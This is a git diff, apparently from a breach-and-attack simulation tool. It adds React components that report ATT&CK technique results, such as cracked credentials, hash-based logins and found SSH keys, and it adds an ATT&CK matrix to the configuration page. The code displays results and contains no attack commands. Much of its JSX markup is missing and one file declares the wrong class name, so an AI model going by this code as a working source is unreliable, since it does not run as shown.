    + ); + } +} + +export default T1041; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js new file mode 100644 index 000000000..4651f5c41 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, ScanStatus } from "./Helpers" + + +class T1059 extends React.Component { + + constructor(props) { + super(props); + } + + static getCommandColumns() { + return ([{ + Header: 'Example commands used', + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1059; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js new file mode 100644 index 000000000..f57abd4b8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1064 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.scripts.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1064; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js new file mode 100644 index 000000000..5d5a8df4c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js @@ -0,0 +1,16 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' + + +class T1065 extends React.Component { + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + ); + } +} + +export default T1065; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js new file mode 100644 index 000000000..3cd12560b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -0,0 +1,49 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, ScanStatus } from "./Helpers" + + +class T1075 extends React.Component { + + constructor(props) { + super(props); + this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login)) + } + + setLoginHashType(login){ + if(login.attempts[0].ntlm_hash !== ""){ + login.attempts[0].hashType = 'NTLM'; + } else if(login.attempts[0].lm_hash !== ""){ + login.attempts[0].hashType = 'LM'; + } + } + + static getHashColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }}, + {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }}, + {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1075; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js new file mode 100644 index 000000000..8570ab1b0 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js @@ -0,0 +1,38 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" + + +class T1082 extends React.Component { + + constructor(props) { + super(props); + } + + static getSystemInfoColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1082; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js new file mode 100644 index 000000000..db75d8dda --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, ScanStatus } from "./Helpers" + + +class T1086 extends React.Component { + + constructor(props) { + super(props); + } + + static getPowershellColumns() { + return ([{ + Header: 'Example Powershell commands used', + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1086; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js new file mode 100644 index 000000000..934e76694 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -0,0 +1,39 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, ScanStatus } from "./Helpers" + + +class T1090 extends React.Component { + + constructor(props) { + super(props); + } + + static getProxyColumns() { + return ([{ + columns: [ + {Header: 'Machines', + id: 'machine', + accessor: x => renderMachineFromSystemData(x), + style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}]) + }; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1090; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js new file mode 100644 index 000000000..8acd48c4b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { ScanStatus } from "./Helpers" + + +class T1105 extends React.Component { + + constructor(props) { + super(props); + } + + static getFilesColumns() { + return ([{ + Header: 'Files copied', + columns: [ + {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 }, + {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170}, + {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status !== ScanStatus.UNSCANNED ? + : ""} +
    + ); + } +} + +export default T1105; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js new file mode 100644 index 000000000..a3210b73c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1106 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.api_uses.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1106; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js new file mode 100644 index 000000000..d80dc3f0e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js @@ -0,0 +1,47 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, ScanStatus } from "./Helpers" + + +class T1107 extends React.Component { + + constructor(props) { + super(props); + } + + static renderDelete(status){ + if(status === ScanStatus.USED){ + return Yes + } else { + return No + } + } + + static getDeletedFileColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }}, + {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status), + style: { 'whiteSpace': 'unset' }, width: 160}] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.deleted_files.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1107; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js new file mode 100644 index 000000000..da9682da3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js @@ -0,0 +1,47 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, ScanStatus } from "./Helpers" + + +class T1110 extends React.Component { + + constructor(props) { + super(props); + } + + static getServiceColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 160}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, + {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }}, + {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160}, + {Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + static renderCreds(creds) { + return {creds.map(cred =>
    {cred}
    )}
    + }; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status !== ScanStatus.UNSCANNED ? + : ""} +
    + ); + } +} + +export default T1110; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js new file mode 100644 index 000000000..64db13f81 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js @@ -0,0 +1,29 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {getUsageColumns} from "./Helpers"; + +class T1129 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.dlls.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1129; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js new file mode 100644 index 000000000..641602dc5 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js @@ -0,0 +1,53 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, ScanStatus } from "./Helpers" + + +class T1145 extends React.Component { + + constructor(props) { + super(props); + } + + static renderSSHKeys(keys){ + let output = []; + keys.forEach(function(keyInfo){ + output.push(
    + SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
    ) + }); + return (
    {output}
    ); + } + + static getKeysInfoColumns() { + return ([{ + columns: [ + {Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: { 'whiteSpace': 'unset' }}, + {Header: 'Keys found', + id: 'keys', + accessor: x => T1145.renderSSHKeys(x.ssh_info), + style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1145; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js new file mode 100644 index 000000000..31be117a9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js @@ -0,0 +1,49 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, ScanStatus } from "./Helpers" + + +class T1188 extends React.Component { + + constructor(props) { + super(props); + } + + static getHopColumns() { + return ([{ + Header: "Communications through multi-hop proxies", + columns: [ + {Header: 'From', + id: 'from', + accessor: x => renderMachineFromSystemData(x.from), + style: { 'whiteSpace': 'unset' }}, + {Header: 'To', + id: 'to', + accessor: x => renderMachineFromSystemData(x.to), + style: { 'whiteSpace': 'unset' }}, + {Header: 'Hops', + id: 'hops', + accessor: x => x.count, + style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1188; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js new file mode 100644 index 000000000..8dc655aee --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js @@ -0,0 +1,52 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine } from "./Helpers" + + +class T1210 extends React.Component { + + constructor(props) { + super(props); + this.columns = [ {Header: 'Machine', + id: 'machine', accessor: x => renderMachine(x), + style: { 'whiteSpace': 'unset' }, + width: 200}, + {Header: 'Time', + id: 'time', accessor: x => x.time, + style: { 'whiteSpace': 'unset' }, + width: 170}, + {Header: 'Usage', + id: 'usage', accessor: x => x.usage, + style: { 'whiteSpace': 'unset' }} + ] + } + + renderExploitedMachines(){ + if (this.props.data.bits_jobs.length === 0){ + return (
    ) + } else { + return () + } + } + + render() { + return ( +
    +
    +
    {this.props.data.message}
    + {this.props.data.bits_jobs.length > 0 ?
    BITS jobs were used in these machines:
    : ''} +
    +
    + {this.renderExploitedMachines()} +
    + ); + } +} + +export default T1210; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js new file mode 100644 index 000000000..9b6266efa --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -0,0 +1,96 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine } from "./Helpers" + + +class T1210 extends React.Component { + + constructor(props) { + super(props); + } + + static getScanColumns() { + return ([{ + Header: "Found services", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 200}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, + {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100}, + {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} + ] + }])} + + static getExploitColumns() { + return ([{ + Header: "Exploited services", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 200}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, + {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }, + width: 170}, + {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} + ] + }])}; + + static renderEndpoint(val){ + return ( + {(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])} + ) + }; + + static formatScanned(data){ + let result = []; + for(let service in data.machine.services){ + let scanned_service = {'machine': data.machine, + 'time': data.time, + 'service': {'port': [data.machine.services[service].port], + 'display_name': data.machine.services[service].display_name}}; + result.push(scanned_service) + } + return result + }; + + renderScannedServices(data) { + return ( +
    +
    + +
    ) + } + + renderExploitedServices(data) { + return ( +
    +
    + +
    ) + } + + render() { + let scanned_services = this.props.data.scanned_services.map(T1210.formatScanned).flat(); + return ( +
    +
    {this.props.data.message}
    + {scanned_services.length > 0 ? + this.renderScannedServices(scanned_services) : ''} + {this.props.data.exploited_services.length > 0 ? + this.renderExploitedServices(this.props.data.exploited_services) : ''} +
    + ); + } +} + +export default T1210; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js new file mode 100644 index 000000000..712512bcb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js @@ -0,0 +1,39 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, ScanStatus } from "./Helpers" + + +class T1222 extends React.Component { + + constructor(props) { + super(props); + } + + static getCommandColumns() { + return ([{ + Header: "Permission modification commands", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1222; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index bb369fa73..43dac797c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -1,84 +1,137 @@ import React from 'react'; import Form from 'react-jsonschema-form'; -import {Col, Nav, NavItem} from 'react-bootstrap'; +import {Col, Modal, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; import { FilePond } from 'react-filepond'; import 'filepond/dist/filepond.min.css'; +import MatrixComponent from "../attack/MatrixComponent"; + +const ATTACK_URL = '/api/attack'; +const CONFIG_URL = '/api/configuration/island'; class ConfigurePageComponent extends AuthComponent { + constructor(props) { super(props); this.PBAwindowsPond = null; this.PBAlinuxPond = null; - this.currentSection = 'basic'; + this.currentSection = 'attack'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; - this.uiSchema = { - behaviour: { - custom_PBA_linux_cmd: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - PBA_linux_file: { - "ui:widget": this.PBAlinux - }, - custom_PBA_windows_cmd: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - PBA_windows_file: { - "ui:widget": this.PBAwindows - }, - PBA_linux_filename: { - classNames: "linux-pba-file-info", - "ui:emptyValue": "" - }, - PBA_windows_filename: { - classNames: "windows-pba-file-info", - "ui:emptyValue": "" - } - } - }; + this.initialConfig = {}; + this.initialAttackConfig = {}; + this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; + this.uiSchemas = this.getUiSchemas(); // set schema from server this.state = { schema: {}, configuration: {}, + attackConfig: {}, lastAction: 'none', sections: [], - selectedSection: 'basic', + selectedSection: 'attack', allMonkeysAreDead: true, PBAwinFile: [], - PBAlinuxFile: [] + PBAlinuxFile: [], + showAttackAlert: false }; } - componentDidMount() { - this.authFetch('/api/configuration/island') - .then(res => res.json()) - .then(res => { + getUiSchemas(){ + return ({ + basic: {"ui:order": ["general", "credentials"]}, + basic_network: {}, + monkey: { + behaviour: { + custom_PBA_linux_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_linux_file: { + "ui:widget": this.PBAlinux + }, + custom_PBA_windows_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_windows_file: { + "ui:widget": this.PBAwindows + }, + PBA_linux_filename: { + classNames: "linux-pba-file-info", + "ui:emptyValue": "" + }, + PBA_windows_filename: { + classNames: "windows-pba-file-info", + "ui:emptyValue": "" + } + } + }, + cnc: {}, + network: {}, + exploits: {}, + internal: {} + }) + } + + setInitialConfig(config) { + // Sets a reference to know if config was changed + this.initialConfig = JSON.parse(JSON.stringify(config)); + } + + setInitialAttackConfig(attackConfig) { + // Sets a reference to know if attack config was changed + this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig)); + } + + componentDidMount = () => { + let urls = [CONFIG_URL, ATTACK_URL]; + Promise.all(urls.map(url => this.authFetch(url).then(res => res.json()))) + .then(data => { let sections = []; + let attackConfig = data[1]; + let monkeyConfig = data[0]; + this.setInitialConfig(monkeyConfig.configuration); + this.setInitialAttackConfig(attackConfig.configuration); for (let sectionKey of this.sectionsOrder) { - sections.push({key: sectionKey, title: res.schema.properties[sectionKey].title}); + if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})} + else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});} } this.setState({ - schema: res.schema, - configuration: res.configuration, + schema: monkeyConfig.schema, + configuration: monkeyConfig.configuration, + attackConfig: attackConfig.configuration, sections: sections, - selectedSection: 'basic' + selectedSection: 'attack' }) }); this.updateMonkeysRunning(); - } + }; - onSubmit = ({formData}) => { - this.currentFormData = formData; - this.updateConfigSection(); - this.authFetch('/api/configuration/island', + updateConfig = () => { + this.authFetch(CONFIG_URL) + .then(res => res.json()) + .then(data => { + this.setInitialConfig(data.configuration); + this.setState({configuration: data.configuration}) + }) + }; + + onSubmit = () => { + if (this.state.selectedSection === 'attack'){ + this.matrixSubmit() + } else { + this.configSubmit() + } + }; + + matrixSubmit = () => { + // Submit attack matrix + this.authFetch(ATTACK_URL, { method: 'POST', headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(this.state.configuration) + body: JSON.stringify(this.state.attackConfig) }) .then(res => { if (!res.ok) @@ -87,6 +140,18 @@ class ConfigurePageComponent extends AuthComponent { } return res; }) + .then(() => {this.setInitialAttackConfig(this.state.attackConfig);}) + .then(this.updateConfig()) + .then(this.setState({lastAction: 'saved'})) + .catch(error => { + this.setState({lastAction: 'invalid_configuration'}); + }); + }; + + configSubmit = () => { + // Submit monkey configuration + this.updateConfigSection(); + this.sendConfig() .then(res => res.json()) .then(res => { this.setState({ @@ -94,6 +159,7 @@ class ConfigurePageComponent extends AuthComponent { schema: res.schema, configuration: res.configuration }); + this.setInitialConfig(res.configuration); this.props.onStatusChange(); }).catch(error => { console.log('bad configuration'); @@ -101,6 +167,32 @@ class ConfigurePageComponent extends AuthComponent { }); }; + // Alters attack configuration when user toggles technique + attackTechniqueChange = (technique, value, mapped=false) => { + // Change value in attack configuration + // Go trough each column in matrix, searching for technique + Object.entries(this.state.attackConfig).forEach(techType => { + if(techType[1].properties.hasOwnProperty(technique)){ + let tempMatrix = this.state.attackConfig; + tempMatrix[techType[0]].properties[technique].value = value; + this.setState({attackConfig: tempMatrix}); + + // Toggle all mapped techniques + if (! mapped ){ + // Loop trough each column and each row + Object.entries(this.state.attackConfig).forEach(otherType => { + Object.entries(otherType[1].properties).forEach(otherTech => { + // If this technique depends on a technique that was changed + if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){ + this.attackTechniqueChange(otherTech[0], value, true) + } + }) + }); + } + } + }); + }; + onChange = ({formData}) => { this.currentFormData = formData; }; @@ -111,10 +203,48 @@ class ConfigurePageComponent extends AuthComponent { newConfig[this.currentSection] = this.currentFormData; this.currentFormData = {}; } - this.setState({configuration: newConfig}); + this.setState({configuration: newConfig, lastAction: 'none'}); }; + renderAttackAlertModal = () => { + return ( {this.setState({showAttackAlert: false})}}> + +

    Warning

    +

    + You have unsubmitted changes. Submit them before proceeding. +

    +
    + +
    +
    +
    ) + }; + + userChangedConfig(){ + if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){ + if(Object.keys(this.currentFormData).length === 0 || + JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){ + return false; + } + } + return true; + } + + userChangedMatrix(){ + return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig)) + } + setSelectedSection = (key) => { + if ((key === 'attack' && this.userChangedConfig()) || + (this.currentSection === 'attack' && this.userChangedMatrix())){ + this.setState({showAttackAlert: true}); + return; + } this.updateConfigSection(); this.currentSection = key; this.setState({ @@ -124,7 +254,7 @@ class ConfigurePageComponent extends AuthComponent { resetConfig = () => { this.removePBAfiles(); - this.authFetch('/api/configuration/island', + this.authFetch(CONFIG_URL, { method: 'POST', headers: {'Content-Type': 'application/json'}, @@ -137,8 +267,17 @@ class ConfigurePageComponent extends AuthComponent { schema: res.schema, configuration: res.configuration }); + this.setInitialConfig(res.configuration); this.props.onStatusChange(); }); + this.authFetch(ATTACK_URL,{ method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify('reset_attack_matrix')}) + .then(res => res.json()) + .then(res => { + this.setState({attackConfig: res.configuration}); + this.setInitialAttackConfig(res.configuration); + }) }; removePBAfiles(){ @@ -156,14 +295,12 @@ class ConfigurePageComponent extends AuthComponent { this.setState({PBAlinuxFile: [], PBAwinFile: []}); } - onReadFile = (event) => { + setConfigOnImport = (event) => { try { this.setState({ configuration: JSON.parse(event.target.result), - selectedSection: 'basic', lastAction: 'import_success' - }); - this.currentSection = 'basic'; + }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))}); this.currentFormData = {}; } catch(SyntaxError) { this.setState({lastAction: 'import_failure'}); @@ -175,9 +312,29 @@ class ConfigurePageComponent extends AuthComponent { fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf'); }; + sendConfig() { + return ( + this.authFetch('/api/configuration/island', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(this.state.configuration) + }) + .then(res => { + if (!res.ok) + { + throw Error() + } + return res; + }).catch(error => { + console.log('bad configuration'); + this.setState({lastAction: 'invalid_configuration'}); + })); + }; + importConfig = (event) => { let reader = new FileReader(); - reader.onload = this.onReadFile; + reader.onload = this.setConfigOnImport; reader.readAsText(event.target.files[0]); event.target.value = null; }; @@ -251,13 +408,12 @@ class ConfigurePageComponent extends AuthComponent { } static getFullPBAfile(filename){ - let pbaFile = [{ + return [{ source: filename, options: { type: 'limbo' } }]; - return pbaFile } static getMockPBAfile(mockFile){ @@ -271,39 +427,29 @@ class ConfigurePageComponent extends AuthComponent { return pbaFile } - render() { - let displayedSchema = {}; - if (this.state.schema.hasOwnProperty('properties')) { - displayedSchema = this.state.schema['properties'][this.state.selectedSection]; - displayedSchema['definitions'] = this.state.schema['definitions']; - } - return ( -
    -

    Monkey Configuration

    - - { - this.state.selectedSection === 'basic_network' ? -
    - - The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines - according to its range class. -
    - :
    - } - { this.state.selectedSection ? -
    -
    + renderMatrix = () => { + return () + }; + + + renderConfigContent = (displayedSchema) => { + return (
    + {this.renderBasicNetworkWarning()} + + + +
    ) + }; + + renderRunningMonkeysWarning = () => { + return (
    { this.state.allMonkeysAreDead ? '' :
    @@ -312,17 +458,56 @@ class ConfigurePageComponent extends AuthComponent { infections.
    } -
    - - -
    -
    - - : ''} +
    ) + }; + + renderBasicNetworkWarning = () => { + if (this.state.selectedSection === 'basic_network'){ + return (
    + + The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines + according to its range class. +
    ) + } else { + return (
    ) + } + }; + + renderNav = () => { + return () + }; + + render() { + let displayedSchema = {}; + if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') { + displayedSchema = this.state.schema['properties'][this.state.selectedSection]; + displayedSchema['definitions'] = this.state.schema['definitions']; + } + let content = ''; + if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) { + content = this.renderMatrix() + } else if(this.state.selectedSection !== 'attack') { + content = this.renderConfigContent(displayedSchema) + } + return ( +
    + {this.renderAttackAlertModal()} +

    Monkey Configuration

    + {this.renderNav()} + { this.renderRunningMonkeysWarning()} + { content } +
    + + +
    +

    4. Security Report

